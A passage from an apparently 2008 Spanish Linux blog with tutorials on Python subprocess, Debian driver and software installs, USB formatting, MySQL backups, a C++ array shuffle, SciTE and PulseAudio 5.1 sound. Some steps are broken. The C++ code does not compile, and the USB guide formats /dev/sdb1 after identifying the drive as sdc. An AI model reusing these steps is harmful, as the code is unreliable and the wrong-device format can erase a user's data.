Con eso ya tenemos nuestro arreglo desordenado... A lo Python! xD

Ejecutar comandos del shell en Python y capturar su salida

2008-11-19T05:14:00.000-08:00

A veces cuando escribimos un programa necesitamos ejecutar algún comando en la consola y tomar su salida para realizar una acción o tomar una decisión.

La mayoría de los lenguajes de programación incorporan funciones que nos permiten ejecutar órdenes en la consola del sistema operativo y Python no es la excepción. Además lo hace realmente fácil ;)

Para ello haremos uso del módulo subprocess, que a diferencia del os.system() o del os.popen() es mucho más intuitivo y sencillo de usar.

El módulo define una función conveniente llamada call que ejecuta un comando y espera hasta que termine su ejecución. Recibe una gran cantidad de parámetros, pero solo nos interesan el comando a ejecutar, el descriptor de archivo de la salida estándar (stdout) y el descriptor de archivo de la salida de errores (stderr). Estos descriptores son importantes porque allí es donde se almacenará la salida del programa (lo que normalmente imprime en la consola) y los mensajes de error (que también se imprimen en la consola).

El comando debe ser una lista de cádenas de caracteres, el primer elemento a ejecutar es el comando y los elementos siguientes son cada uno de los argumentos que recibe dicho comando. Los descriptores de archivos son eso... vulgares descriptores de archivos :D

Pero es suficiente de preámbulos... Show me the code!

# importamos el módulo
import subprocess

# Creamos los descriptores de archivos como dos vulgares archivos
# con permisos de escritura llamados 'archivo_out' y 'archivo_err'
outfd = open('archivo_out', 'w+')
errfd = open('archivo_err', 'w+')

# Supongamos que queremos ejecutamos el comando: ls -l -a 
subprocess.call(['ls', '-l', '-a'], stdout=outfd, stderr=errfd)

# Cerramos los archivos para que se escriban los cambios y se liberen
# los buffers de I/O
outfd.close()
errfd.close()

# Ahora leemos todo lo que tengan los archivos y guardamos en la variable
# output la salida estándar y en err la salida de error.
fd = open('archivo_out', 'r')
output = fd.read()
fd.close()

fd = open('archivo_err', 'r')
err = fd.read()
fd.close()

# Por último mostramos lo que tienen las variables
print 'stdout: %s\n' % output
print 'stderr: %s' % err

Con eso ya podemos ejecutar cualquier comando en la shell usando Python, esperar su salida y además guardarla en una variable para procesarla más adelante

Instalar Enlightenment E17 en Debian Lenny

2008-11-09T04:45:00.000-08:00

Para aquellos que no lo conocen, Enlightenment o simplemente E es un gestor de ventanas para Unix y GNU/Linux muy atractivo y con efectos visuales alucinantes.

La DR17 es la versión en desarrollo de Enlightenment pero ofrece una gran estabilidad y una buena integración con el entorno, todo con una arquitectura gráficamente espectacular y flexible. Para más detalles de Enlightenment visita la página oficial

Bueno, ahora a lo que vinimos; en este post explicaré como instalar la versión DR17 (E17) en Debian Lenny.

Primero agregamos los repositorios de desarrollo de Enlightenment a nuestro /etc/apt/sources.list:

deb http://debian.alphagemini.org/ unstable main
deb-src http://debian.alphagemini.org/ unstable main

Luego agregamos la clave gpg ejecutando estas instrucciones en la consola:

# gpg --keyserver pgp.rediris.es --recv-keys 7E5D69A103CA4243
# gpg --armor --export 7E5D69A103CA4243 | apt-key add -

Hacemos una actualización de la lista de paquetes:
# aptitude update

Y por último instalamos el gestor de ventanas:
# aptitude install e17

El resultado está a la vista, las imágenes corresponden a los distintos temas que probé en mi escritorio.

Seguiré jugando con el E17 y postearé cualquier otra novedad que consiga

Instalar impresora HP3745 en Debian Lenny

2008-11-04T19:20:00.000-08:00

El procedimiento descrito a continuación se realizó para el modelo de impresora HP Deskjet 3745, sin embargo es idéntico para otra gama amplia de modelos HP.

Lo primero que debemos hacer es asegurarnos que nuestro sistema esté al día:

# aptitude update
# aptitude safe-upgrade

Posteriormente instalamos los paquetes necesarios para la puesta a punto de la impresora.
# aptitude install hplip hpijs foomatic-db-hpijs

Ahora basta con abrir una nueva ventana/pestaña del navegador y cargar la URL http://localhost:631. Inmediatamente le aparecerá la página de bienvenida del sistema CUPS

Hacemos click en Añadir impresora y veremos algo como:

Llenamos los campos con la información requerida y hacemos click en Siguiente. Ahora nos sale una pantalla donde es necesario seleccionar el tipo de conexión con la impresora.

En este caso la impresora está conectada por cable USB, así que tomaremos la opción que dice USB y que además contiene la palabra HPLIP y el serial de la misma.

Por último el CUPS nos pregunta sobre el modelo de la impresora

Seleccionamos el modelo de nuestra impresora y hacemos click en Añadir impresora y con eso tenemos la impresora instalada y funcionando a la perfección.

Luego de eso solo queda probar la impresión con nuestro programa favorito o llamar desde la consola al toolbox de HP con el comando:
$ hp-toolbox

Instalar driver NVIDIA a la Debian-Way

2008-10-29T19:06:00.000-07:00

El procedimiento descrito a continuación fue probado en Debian Lenny pero debería funcionar para la mayoría de las distribuciones derivadas de Debian sin mucho problema. Usaremos el paquete module-assistant para llevar a cabo la tarea

Lo primero es instalar el module-assistant:
# aptitude install module-assistant
Posteriormente instalarmos los headers del kernel que estamos usando:
# aptitude install linux-headers-$(uname -r)
Después de esto ejecutamos los siguientes pasos:

# module-assistant update
# module-assistant prepare
# module-assistant auto-install nvidia

O lo que es lo mismo:

# m-a update
# m-a prepare
# m-a a-i nvidia

Con eso le decimos al module assistant que se encargue de descargar, compilar, empaquetar e instalar el driver NVIDIA correspondiente a nuestra tarjeta de video.

Pero ahora nos falta configurar el servidor X.Org para que haga uso del driver. Para ello instalamos el paquete nvidia-xconfig:
# aptitude install nvidia-xconfig
Y luego lo ejecutamos:
# nvidia-xconfig
Con eso tendremos el archivo /etc/X11/xorg.conf configurado y listo para la acción.

Finalmente, reiniciamos las X's presionando Ctrl + Alt + Backspace o ejecutando el siguiente comando:
# /etc/init.d/gdm restart
Si todo ha salido bien deberíamos ver el logo de NVIDIA en nuestra pantalla y un driver completamente funcional

Formatear Pen Drive USB en GNU/Linux

2008-09-27T00:38:00.000-07:00

Para formatear un pen drive USB desde un terminal GNU/Linux solo necesitamos seguir estos sencillos pasos:

Primero conectamos el dispositivo a la PC y hacemos un tail para ver en que parte ha quedado:

$ tail /var/log/messages
Sep 27 03:12:30 desktop kernel: [27939.999977] usb 1-7: configuration #1 chosen from 1 choice
Sep 27 03:12:30 desktop kernel: [27940.002680] scsi8 : SCSI emulation for USB Mass Storage devices
Sep 27 03:12:35 desktop kernel: [27944.996927] scsi 8:0:0:0: Direct-Access     Kingston DataTraveler 2.0 1.00 PQ: 0 ANSI: 2
Sep 27 03:12:35 desktop kernel: [27945.007031] sd 8:0:0:0: [sdc] 15769600 512-byte hardware sectors (8074 MB)
Sep 27 03:12:35 desktop kernel: [27945.007768] sd 8:0:0:0: [sdc] Write Protect is off
Sep 27 03:12:35 desktop kernel: [27945.010384] sd 8:0:0:0: [sdc] 15769600 512-byte hardware sectors (8074 MB)
Sep 27 03:12:35 desktop kernel: [27945.011009] sd 8:0:0:0: [sdc] Write Protect is off
Sep 27 03:12:35 desktop kernel: [27945.011019]  sdc: sdc1
Sep 27 03:12:35 desktop kernel: [27945.127126] sd 8:0:0:0: [sdc] Attached SCSI removable disk
Sep 27 03:12:35 desktop kernel: [27945.127165] sd 8:0:0:0: Attached scsi generic sg3 type 0

La salida nos proporciona bastante información sobre el pen drive (marca, modelo, tamaño, etc) pero lo que nos interesa en este momento es el dispositivo al que ha sido asociado; en este caso es sdc, más especificamente sdc1.

Procedemos entonces (como root de ahora en adelante) a desmontar el volúmen:
# umount /dev/sdc1
Con fdisk vamos a eliminar las particiones (no es necesario pero es recomendable si el pen drive tiene algunas fallas lógicas)
# fdisk /dev/sdc1
Esto nos abrirá una consola, y al escribir m y presionar Enter nos debe salir un menú de ayuda similar al siguiente:

Orden (m para obtener ayuda): m
Orden  Acción
   a   Conmuta el indicador de iniciable
   b   Modifica la etiqueta de disco bsd
   c   Conmuta el indicador de compatibilidad con DOS
   d   Suprime una partición
   l   Lista los tipos de particiones conocidos
   m   Imprime este menú
   n   Añade una nueva partición
   o   Crea una nueva tabla de particiones DOS vacía
   p   Imprime la tabla de particiones
   q   Sale sin guardar los cambios
   s   Crea una nueva etiqueta de disco Sun
   t   Cambia el identificador de sistema de una partición
   u   Cambia las unidades de visualización/entrada
   v   Verifica la tabla de particiones
   w   Escribe la tabla en el disco y sale
   x   Funciones adicionales (sólo para usuarios avanzados)

Para eliminar la partición escribimos d y presionamos Enter. Si hay una sola partición se borrará automáticamente, sino preguntará el número de la partición y debemos ir borrando una a una hasta que no quede ninguna.

Con la orden n se creará una nueva partición, escribimos p para que sea primaria y 1 para que sea la primera partición.

Esto nos crea una partición de tipo Linux, pero el pen drive debe tener formato FAT para que pueda ser reconocido tanto en máquinas Windows como Linux así que ingresamos la orden t para cambiar el tipo de la partición y escribimos posteriormente 6 para que tome el tipo FAT16.

Cuando todo esto se haya completado entonces damos la orden w para que se escriban los cambios al disco.

Por último, usamos la herramienta mkfs.vfat para darle el formato FAT16 y colocarle la etiqueta "USB" al pen drive:
# mkfs.vfat -F 16 -n USB /dev/sdb1
Eso es todo, siguiendo estos sencillos pasos tendremos un pen drive como nuevo, completamente funcional.

Respaldar y restaurar una base de datos MySQL

2008-09-22T10:25:00.000-07:00

Supongamos que tenemos un servidor de bases de datos MySQL con las siguientes características:

Host: 127.0.0.1
Usuario: admin
Password: 123456
Base de datos: Database

Si queremos hacer un respaldo instantáneo de la base de datos, basta con usar el comando mysqldump como se muestra a continuación:

$ mysqldump --quick -h127.0.0.1 -uadmin -p123456 Database > respaldo.sql

--quick: permite que el volcado de la información se haga fila por fila para evitar problemas de desempeño con bases de datos muy grandes.
-h: especifíca la dirección IP del servidor MySQL (se puede omitir este parametro si el equipo donde se hará el respaldo es el mismo donde se encuentra la base de datos).
-u: permite indicar el nombre del usuario con el que se desea conectar a la base de datos
-p: si se coloca sin ningún argumento pedirá la contraseña del usuario al ejecutar el comando. Si especificamos la contraseña seguidamente del -p entonces entrará directamente a la base de datos a realizar la operación solicitada.

El comando mysqldump volcará el contenido de la base datos Database en el archivo respaldo.sql (usando los parametros de conexión indicados en los argumentos)

Para restaurar la base de datos debemos primero debemos entrar en la consola del mysql y posteriormente ejecutamos el archivo respaldo.sql:

$ mysql -h127.0.0.1 -uadmin -p123456 Database
mysql> source respaldo.sql

Más adelante explicaré cómo realizar respaldos automáticos (usando bash y cron) de una base de datos.

¿Qué se puede hacer con un set de 6 CD's de Visual Studio .NET?

2008-09-08T12:19:00.000-07:00

Así como lo leen. Tenía en mis manos un set nuevecito con 6 CD's de instalación del Visual Studio .NET y me dijé... ¡Hey! Debería poder hacer algo con esto... Aquí está el resultado, disfrútenlo

Toda una obra maestra xD

Instalar Flash Player para Iceweasel en Debian Etch

2008-09-04T07:25:00.000-07:00

En Debian Etch debemos seguir algunos pasos _extras_ para configurar y poner a punto el plugin de flash para Iceweasel.

Primero descargamos el plugin desde la página de Adobe:
http://www.adobe.com/shockwave/download/download.cgi?P1_Prod_Version=ShockwaveFlash.

Podemos hacerlo también desde una consola usando:
~~$ wget http://fpdownload.macromedia.com/get/flashplayer/current/install_flash_player_9_linux.tar.gz~~

Actualizo:
La ruta anterior era para la versión 9 del plugin, pero al parecer la gente de adobe ya ha descontinuado esa versión. Para descargar el nuevo plugin usamos la siguiente ruta:

$ wget http://fpdownload.macromedia.com/get/flashplayer/current/install_flash_player_10_linux.tar.gz

Nos ubicamos en la carpeta donde fue descargado el paquete y lo descomprimimos usando:
$ tar -xvzf install_flash_player_10_linux.tar.gz

Esto nos crea un directorio install_flash_player_10_linux donde se encuentran los archivos flashplayer-installer y libflashplayer.so

El flashplayer-installer es un script que instala "automaticamente" el plugin pero no funciona en Debian Etch (porque algunas rutas son diferentes). Procedemos entonces a instalar manualmente el plugin en una consola con privilegios de root:

Para Iceweasel:
# cp install_flash_player_10_linux/libflashplayer.so /usr/lib/iceweasel/plugins/

Para Firefox:
# cp install_flash_player_10_linux/libflashplayer.so /usr/lib/mozilla-firefox/plugins/

Para Konqueror:
# cp install_flash_player_10_linux/libflashplayer.so /usr/lib/netscape/plugins-libc6/

Si ninguna de las opciones anteriores funciona podemos instalarlo en nuestro directorio personal; solo estará disponible para nosotros y si agregamos un usuario nuevo debemos repetir el procedimiento con ese usuario pero es una solución viable:
# cp install_flash_player_10_linux/libflashplayer.so /home/mi_usuario/.mozilla/plugins/

Ahora solo queda cerrar todas las ventanas del navegador y abrir nuevamente para que los cambios surtan efecto. Si deseas verificar que el plugin está instalado abre cualquier página que contenga un script en flash como por ejemplo:
http://www.adobe.com/es/support/flashplayer/ts/documents/tn_15507.htm

¿Te ha funcionado? Deja tu comentario

Timidity y Guitar Pro 5 en Debian Lenny

2008-08-01T19:37:00.000-07:00

Guitar Pro es un editor de tablaturas multipistas para guitarra, bajo, percusión y otros instrumentos musicales. Por los momentos es uno de los mejores (si no el mejor) editor de tablaturas pero es propietario y de paso solo disponible solo para Windows y Mac. A pesar del creciente auge del software libre es difícil encontrar un reemplazo con las mismas funcionalidades. Existen algunas alternativas libres, como kguitar o dguitar pero aún les falta madurar un poco para hacer frente a guitar pro como verdaderos contendientes.

He visto que algunas amigos no se pasan por completo a GNU/Linux porque no pueden usar Guitar Pro, así que decidí instalarlo y configurar todas las herramientas necesarias para obtener un rendimiento similar al que puede obtenerse en Windows y es lo que pretendo enseñarles a continuación. Sin embargo, hago la aclaración de que el RSE (Real Sound Engine) no funcionará muy bien (aún no he logrado corregirlo), pero el soporte MIDI funcionará al 100%. Para aquellos que no tengan Guitar Pro y deseen probarlo pueden descargar una versión de prueba de 15 días aquí

Los pasos siguientes son válidos para Debian y Ubuntu, pero la base debería ser la misma para otras distribuciones. También se supone que el sistema tiene instalado y configurado ALSA como manejador de sonidos.

Primero instalaremos Wine y Timidity.

$ sudo apt-get install wine timidity
Para explicarlo con pocas palabras, Wine es una reimplementación de la API de Windows para sistemas operativos basados en Unix (o sea, nos permitirá instalar el Guitar Pro para Windows) y Timidity es un software sintetizador que permite reproducir archivos MIDI.

Necesitamos descargar la librería de sonidos Fluid y la aplicación sfarkxtc para descomprimirla. Adicionalmente debemos instalar otra librería para que el sfarkxtc funcione correctamente:

$ sudo apt-get install libstdc++5
Mientras se descarga el Fluid instalaremos Guitar Pro en nuestro flamante sistema GNU/Linux (el método descrito también funciona para la versión completa de Guitar Pro). Para ello debemos abrir un terminal y ubicarnos en el directorio donde se encuentra el instalador y escribir:

$ wine GP5DEMO.exe
o simplemente haciendo clic derecho sobre el instalador y seleccionando la opción "Abrir con <<wine>>".

Si ésta opción no aparece entonces seleccionamos "Abrir con otra aplicación..." y en comando personalizado escribimos wine.

Lo siguiente es ejecutar en un terminal:

$ winecfg

En la versión del sistema operativo escogemos Windows XP y en la pestaña Audio seleccionamos la casilla ALSA Driver.

Vamos ahora con la configuración del Timidity. Lo primero es editar el archivo /etc/default/timidity y ubicamos la línea:
#TIM_ALSASEQ=true
y la descomentamos. Quedaría así:
TIM_ALSASEQ=true

También buscamos la línea:
TIM_ALSASEQPARAMS="-Os"
y la reemplazamos por:
TIM_ALSASEQPARAMS="-iAr -B2,8 -Os1l -s 44100 -EFreverb=0"

Posteriormente creamos la carpeta .timidity en nuestro directorio home (si es que no existe):
mkdir ~/.timidity

Cuando tengamos la librería Fluid descargada la descomprimimos junto con el sfarkxtc, en la misma ubicación (archivos FluidR3122501.zip y sfarkxtc_lx86.tar.gz respectivamente). Desde el terminal, nos colocamos en la carpeta donde fueron descomprimidos los archivos y ejecutamos:

$ ./sfarkxtc FluidR3\ GM.sfArk
$ ./sfarkxtc FluidR3\ GS.sfArk
$ mv FluidR3\ GM.SF2 ~/.timidity/FluidR3GM.SF2
$ mv FluidR3\ GS.SF2 ~/.timidity/FluidR3GS.SF2

Y con eso tendremos sendos archivos .SF2 listos para usarse. A continuación editamos el archivo /etc/timidity/timidity.cfg (también con privilegios de root) y buscamos la línea:

source /etc/timidity/freepats.cfg
y la reemplazamos por:

soundfont "~/.timidity/FluidR3GM.SF2"
soundfont "~/.timidity/FluidR3GS.SF2"

Por último, reiniciamos Timidity:

$ sudo /etc/init.d/timidity restart
En este punto ya disponemos de un Timidity con esteroides, correctamente configurado y listo para trabajar con Guitar Pro.

Si te aparece un error similar a este:

Starting TiMidity++ ALSA midi emulation...ALSA lib seq_hw.c:457:(snd_seq_hw_open) open /dev/snd/seq failed: No such file or directory
error in snd_seq_open

Entonces necesitas cargar el módulo snd_seq, para ello ejecutas:
# modprobe snd_seq

Y para que se cargue cada vez que iniciamos el equipo editas el archivo /etc/modules y agregas una nueva línea con la palabra snd_seq

Nos queda configurar el Guitar Pro para que use Timidity como dispositivo de salida MIDI. Ejecutamos Guitar Pro bien sea desde el menú Aplicaciones->Wine->Programas->Guitar Pro 5 o tecleando en el terminal:

$ cd ~/.wine/drive_c/Archivos\ de\ programa/Guitar\ Pro\ 5
$ wine GP5.exe

Allí vamos al menú Opciones->Ajuste de Audio (MIDI/RSE)... seleccionamos Timidity como dispositivo de salida MIDI y General MIDI como juego de instrumentos. Podemos jugar también con la Capacidad de los Buffers poniéndolos en un valor más alto (yo lo tengo en 2048) si notamos un sonido cortado o un poco laggeado. Para más información puedes visitar la página de soporte de Wine para Guitar Pro. Solo queda empezar a usarlo y disfrutar de secuencias MIDI con una excelente calidad xD

¿Y a tí, te sirvió esta receta?

Algoritmo para desordenar un arreglo en C/C++

2008-07-31T07:30:00.000-07:00

Imagina que deseas implementar un algoritmo en C++ donde necesites desordenar aleatoriamente un arreglo; por ejemplo: en un juego donde utilices un mazo de cartas y debas barajarlo. El siguiente código puede ayudarte en esa tarea:

int mazo_ordenado[44];
int mazo_barajado[44];
bool usado[44];

for (int i=0; i < 44; i++)
    usado[i]=false;

int index=0;
for (int i=0; i < 44; i++){
    do{
        index = (rand() % 44);
    while (usado[index]);
    mazo[i] = mazo_ordenado[index];
    usado[index]=true;
}

Ahora, explicaré el código paso a paso. La intención es desordenar un arreglo de 44 elementos (puede ser de cualquier tamaño, solo basta reemplazar el 44 por el número de su elección). El arreglo ordenado lo tenemos en la variable mazo_ordenado. Luego creamos otros dos arreglo con la misma cantidad de elementos, uno llamado mazo_barajado donde almacenaremos el arreglo desordenado y otro llamado usado en donde guardaremos el estado de cada elemento del mazo original.

int mazo_ordenado[44];
int mazo_barajado[44];
bool usado[44];

La idea es recorrer en orden creciente el arreglo desordenado y depositar en cada uno de sus elementos un elemento aleatorio del arreglo ordenado. Con el arreglo de booleanos usado llevaremos la cuenta de cuáles elementos del arreglo original se han usado y cuáles no (con la finalidad de no duplicar elementos), por eso debemos inicializar todos sus elementos en false

for (int i=0; i < 44; i++)
    usado[i]=false;

Usando la función rand() generamos índices aleatorios para obtener los elementos del arreglo original; pero debemos comprobar el valor de usado[indice] para saber si el elemento ha sido usado o no. Si el elemento ya está usado, el valor de usado[indice] será true y tendremos que generar otro índice hasta que consigamos uno no usado.

do{
    index = (rand() % 44);
while (usado[index]);

Si no hemos usado el elemento apuntado por indice, el valor de usado[indice] será false y entonces procedemos a almacenar el elemento en el arreglo desordenado y cambiamos el valor de usado[indice] a true.

mazo[i] = mazo_ordenado[index];
usado[index]=true;

Esto debemos hacerlo para los 44 elementos del arreglo desordenado así que debe ir dentro de un for y con la respectiva inicialización de la variables:

int index=0;
for (int i=0; i < 44; i++){
    do{
        index = (rand() % 44);
    while (usado[index]);
    mazo[i] = mazo_ordenado[index];
    usado[index]=true;
}

A la salida del for tendremos un arreglo desordenado listo para usar :D.

Prueben el código, agreguen unos cuantos printf para imprimir los valores de los mazos antes y después del for y comenten sus resultados. Si tienen alguna sugerencia o corrección posteenla también que será bien recibida. Espero que les haya sido de utilidad.

Instalar plugin Atlantis para Compiz en Hardy Heron

2008-07-30T20:24:00.000-07:00

Este nuevo plugin de compiz permite poner tu escritorio como una pecera y es muy fácil de instalar.

Descarga el plugin desde aquí

Instala las depencias:
$ sudo apt-get install compiz-dev compiz-bcop libtool

Compila e instala el plugin
$ make clean $ make $ make install

Ahora puedes ir al menú Sistema->Preferencias->Configuración avanzada de los efectos de escritorio para activar y configurar tu nuevo y flamante plugin Cube Atlantis

SciTE: Mi editor de texto favorito

2008-07-27T06:40:00.000-07:00

SciTE es un excelente editor de texto que fue desarrollado en un principio para demostrar el poder de Scintilla (un componente/librería para la edición de texto). Sin embargo ha crecido tanto que ha llegado a opacar un poco a la propia librería.

¿Y qué tiene de grandioso el SciTE? se preguntarán. Pues quizás no sea nada del otro mundo, pero es que su sencillez, su funcionalidad y su alto grado de personalización lo hacen (al menos para mi) el editor de texto perfecto. Al momento de escribir este post SciTE está disponible en las arquitecturas de 32 bits para sistemas GNU/Linux y Windows.

En la lista que sigue trataré de describir las funcionalidades básicas del SciTE:

Edición de Texto: Estándar y con resaltado de sintaxis. Soporta gran cantidad de lenguajes de programación y puede expandirse para lenguajes que aún no estén soportados

Subsistema de comandos: Permite ejecutar herramientas (compiladores, interpretes, etc) dentro de la misma interfaz del SciTE

Pestañas: Permite abrir entre 1-100 documentos al mismo tiempo, visualizando uno a la vez y los demás en memoria. Además se puede guardar el estado de las pestañas en archivos de sesiones y recuperarlas cuando se desee

Atajos de teclado: Facilitan la interacción entre el usuario y el editor (siguen las convenciones más comunes de GNU/Linux y Windows)

Abreviaturas: Una función poderosa constituida por pares abrev = texto definidos por el usuario. Al escribir abrev en el editor y presionar Ctrl+B, se reemplaza abrev por texto

Plegado: Una de mis funciones favoritas. Permite plegar o expandir fragmentos de código basados en identación (en el caso de Python) o en llaves de apertura y cierre (en el caso de otros lenguajes). Muestra símbolos al margen izquierdo del editor para expandir o contraer los fragmentos

Archivos de propiedades: Permiten definir el comportamiento y la configuración general del editor

Luego de mencionar algunas de las características del SciTE veamos como personalizarlo. SciTE posee 4 tipos de archivos de configuración:

"SciTE.properties" (propiedades locales)

"SciTEDirectory.properties" (propiedades de directorio)

".SciTEUser.properties" en GNU/Linux o "SciTEUser.properties" en Windows (propiedades de usuario)

"SciTEGlobal.properties" (propiedades globales)

El archivo de propiedades locales debe estar presente en el mismo directorio donde se encuentra el archivo que estamos editando.

El archivo de propiedades de directorio se usa para definir el comportamiento del editor (o de sus herramientas) sobre todos los archivos contenidos dentro de un directorio.

El archivo de propiedades de usuario define el comportamiento del editor para cada usuario del equipo y se encuentra en el directorio home del usuario en los sistemas GNU/Linux o en el directorio de perfil de usuario definido en la variable USERPROFILE de Windows (si la variable USERPROFILE no está definida se ubica en el directorio del ejecutable)

El archivo de propiedades globales define el comportamiento por defecto del editor y se encuentra en /usr/share/scite para los sistemas GNU/Linux y en el directorio del ejecutable para Windows.

Las propiedades locales anulan a las propiedades de usuario que a su vez anulan a las propiedades globales.

Ahora voy a comentar la configuración que he realizado del SciTE usando el archivo de propiedades de usuario (".SciTEUser.properties" en mi caso):

# Se define el ancho de una tabulación equivalente a 4 espacios en blanco, se
# establece el ancho de la identación a 4 caracteres y se indica que se usarán
# espacios en lugar de tabulaciones para la identación
tabsize=4
indent.size=4
use.tabs=0

# Define la cantidad de pestañas simultáneas
buffers=15

# Permite visualizar una línea en el borde derecho del editor con un ancho de
# 100 caracteres y de color #C0DCC0
edge.column=100
edge.mode=1
edge.colour=#C0DCC0

# Muestra una lista de autocompletado cuando se escriben palabras que ya se
# encuentran dentro del texto
autocompleteword.automatic=1

# Visualiza el número de línea en el márgen izquierdo
line.margin.visible=1

Para una descripción detallada de cada una de las propiedades del SciTE visite la página de documentación oficial

Actualización: 13/11/2008

Acá les dejo mi archivo personal de configuración del SciTE; allí, además de lo mencionado arriba, configuro el editor para que use fuentes monospace y uno que otro truquillo :D

# Se define el ancho de una tabulación equivalente a 4 espacios en blanco, se
# establece el ancho de la identación a 4 caracteres y se indica que se usarán
# espacios en lugar de tabulaciones para la identación
tabsize=4
indent.size=4
use.tabs=0

# Define la cantidad de pestañas simultáneas
buffers=15

# Permite visualizar una línea en el borde derecho del editor con un ancho de
# 100 caracteres y de color #C0DCC0
edge.column=80
edge.mode=1
edge.colour=#C0DCC0

# Muestra una lista de autocompletado cuando se escriben palabras que ya se
# encuentran dentro del texto
autocompleteword.automatic=1

# Visualiza el número de línea en el márgen izquierdo
line.margin.visible=1

# Default
style.*.32=$(font.monospace)
style.cpp.32=$(font.monospace)
style.python.32=$(font.monospace)
# Line number
#style.*.33=back:#C0C0C0,$(fontmonospace)
# Brace highlight
#style.*.34=fore:#0000FF,bold
# Brace incomplete highlight
#style.*.35=fore:#FF0000,bold
# Control characters
#style.*.36=
# Indentation guides
#style.*.37=fore:#C0C0C0,back:#FFFFFF

font.base=font:!Bitstream Vera Sans Mono,size:9
font.small=font:!Bitstream Vera Sans Mono,size:8
font.comment=font:!Bitstream Vera Sans Mono,size:9
font.code.comment.box=$(font.comment)
font.code.comment.line=$(font.comment)
font.code.comment.doc=$(font.comment)
font.code.comment.nested=$(font.comment)
font.text=font:!Bitstream Charter Mono,size:9
font.text.comment=font:!Bitstream Vera Sans Mono,size:9
font.embedded.base=font:!Bitstream Vera Sans Mono,size:9
font.embedded.comment=font:!Bitstream Vera Sans Mono,size:9
font.monospace=font:!Bitstream Vera Sans Mono,size:9
font.vbs=font:!Bitstream Vera Sans Mono,size:9

Los invito a que lo prueben y digan que les parece... para mi es el mejor y ¿para ti?

Problemas instalando GRUB en Debian Lenny

2008-07-23T22:51:00.000-07:00

Estuve instalando Debian Lenny en un pentium II ~ 300MHz con 128MB de memoria RAM y par de discos de 4.3GB cada uno y resulta que cada vez que llegaba al paso de Configurar gestor de arranque GRUB me saltaba el error Grub package failed to install into /target/ y no podía terminar la instalación.

Al principio pensaba que se trataba de algún daño en los discos, intenté instalar Debian con distintas opciones de HW, probando cada disco por separado, usando diferentes sistemas de archivos y nada.

Me puse a buscar en google y me topé con esta excelente guía de instalación de Red Hat y allí encontré la respuesta. Resulta que los BIOS de las máquinas viejas no pueden acceder más allá del cilindro 1024 de los discos duros y esto equivale aproximadamente a 528MB (la cifra exacta depende del BIOS y del disco duro).

¿Pero que significa esto? Pues muy sencillo, que al momento de crear la tabla de particiones del disco debemos reservar un espacio en los primeros 1024 cilindros del disco duro (<= 528MB) para la partición /boot y así permitir que la data del GRUB e incluso el kernel Linux se ubiquen en esa zona. Con esto nos aseguramos de que el BIOS puede acceder a la data y bootear correctamente.

Configurar sonido 5.1 en Ubuntu Hardy Heron

2008-07-22T08:35:00.000-07:00

Desde hace algún tiempo tenía este tópico pendiente y hoy me decidí a resolverlo y publicar mis resultados. Trataré de explicar paso a paso lo que hice para lograr el tan anhelado sonido 5.1 en Ubuntu Hardy Heron.

Ubuntu Hardy Heron ya incluye PulseAudio así que no hace falta instalarlo (para ver una lista de todas las distribuciones haga clic aquí), sin embargo a simple vista no es posible notar su presencia porque no se incluyen las herramientas auxiliares. Lo que haremos será usar PulseAudio como reemplazo del ESD y configurar ALSA para que use PulseAudio.

La configuración de ALSA se guarda en un par de archivos ocultos en nuestro directorio home, ellos son .asoundrc y .asoundrc.asoundconf. Si estos archivos existen debemos borrarlos/renombrarlos a fin de evitar cualquier error por una configuración residual. Para lograr esto escribimos en el terminal:

$ cd ~
$ mv .asoundrc .asoundrc_old
$ mv .asoundrc.asoundconf .asoundrc.asoundconf_old

Las instrucciones anteriores nos posicionan en nuestro home y renombran los archivos .asoundrc y .asoundrc.asoundconf a .asoundrc_old y .asoundrc.asoundconf_old respectivamente. La instrucción cd ~ puede reemplazarse por cd /home/mi_directorio.

Ahora hacemos que ALSA genere estos archivos automáticamente. Primero listamos el nombre de nuestra tarjeta de sonido:

$ asoundconf list

Y el nombre que nos muestre el comando anterior lo usaremos en:

$ asoundconf set-default-card nombre_de_la_tarjeta

Posteriormente procedemos a editar el archivo de configuración del PulseAudio:

$ sudo gedit /etc/pulse/daemon.conf

Allí ubicaremos la siguiente línea:

;default-sample-channels = 2

y la reemplazaremos por:

default-sample-channels = 6

Lo que hacemos es quitar el ; para que la línea sea tomada en cuenta y cambiamos la cantidad de canales de 2 a 6.

Ahora hay que asegurarse que PulseAudio no intentará abrir el dispositivo por "defecto" para su propia salida de audio. Para ello abrimos el archivo:

$ sudo gedit /etc/pulse/default.pa

Y buscamos el siguiente fragmento de texto:

### Automatically load driver modules depending on the hardware available
.ifexists module-hal-detect.so
load-module module-hal-detect
.else
### Alternatively use the static hardware detection module (for systems that
### lack HAL support)
load-module module-detect
.endif

Debemos comentar todas estas líneas, para dejarlo así:

### Automatically load driver modules depending on the hardware available
#.ifexists module-hal-detect.so
#load-module module-hal-detect
#.else
### Alternatively use the static hardware detection module (for systems that
### lack HAL support)
#load-module module-detect
#.endif

E inmediatamente después de ese fragmento de texto agregamos la línea:

load-module module-alsa-sink device=hw:0

Una cosa importante que se debe aclarar es que PulseAudio crea sus propios grupos y todos los usuarios que quieran usar este servidor de sonidos deben pertenecer a ellos. Para que el usuario pertenezca a estos grupos ejecutamos las siguientes instrucciones:

$ sudo adduser nombre_usuario pulse
$ sudo adduser nombre_usuario pulse-access
$ sudo adduser nombre_usuario pulse-rt

Luego vamos hasta el menú Sistema->Preferencias->Sonido, en la pestaña Dispositivos seleccionamos PulseAudio Sound Server para todas las opciones y como dispositivo mezclador seleccionamos el nombre de nuestra tarjeta de sonido.

En la pestaña Sonidos nos aseguramos que la opción Activar mezcla de sonidos por software (ESD) esté activada.

Sólo nos resta reiniciar el ALSA y el PulseAudio, para esto escribimos en el terminal:

$ sudo /etc/init.d/pulseaudio restart
$ sudo /sbin/alsa reload

Con esto ya deberíamos tener todos nuestros altavoces funcionando. Recuerda verificar que el volumen está en el nivel adecuado (que no está muy bajo o silenciado), para ello cuentas con:

$ alsamixer

¿Te ha funcionado ésta configuración? Deja tu comentario y cuenta cuáles han sido tus resultados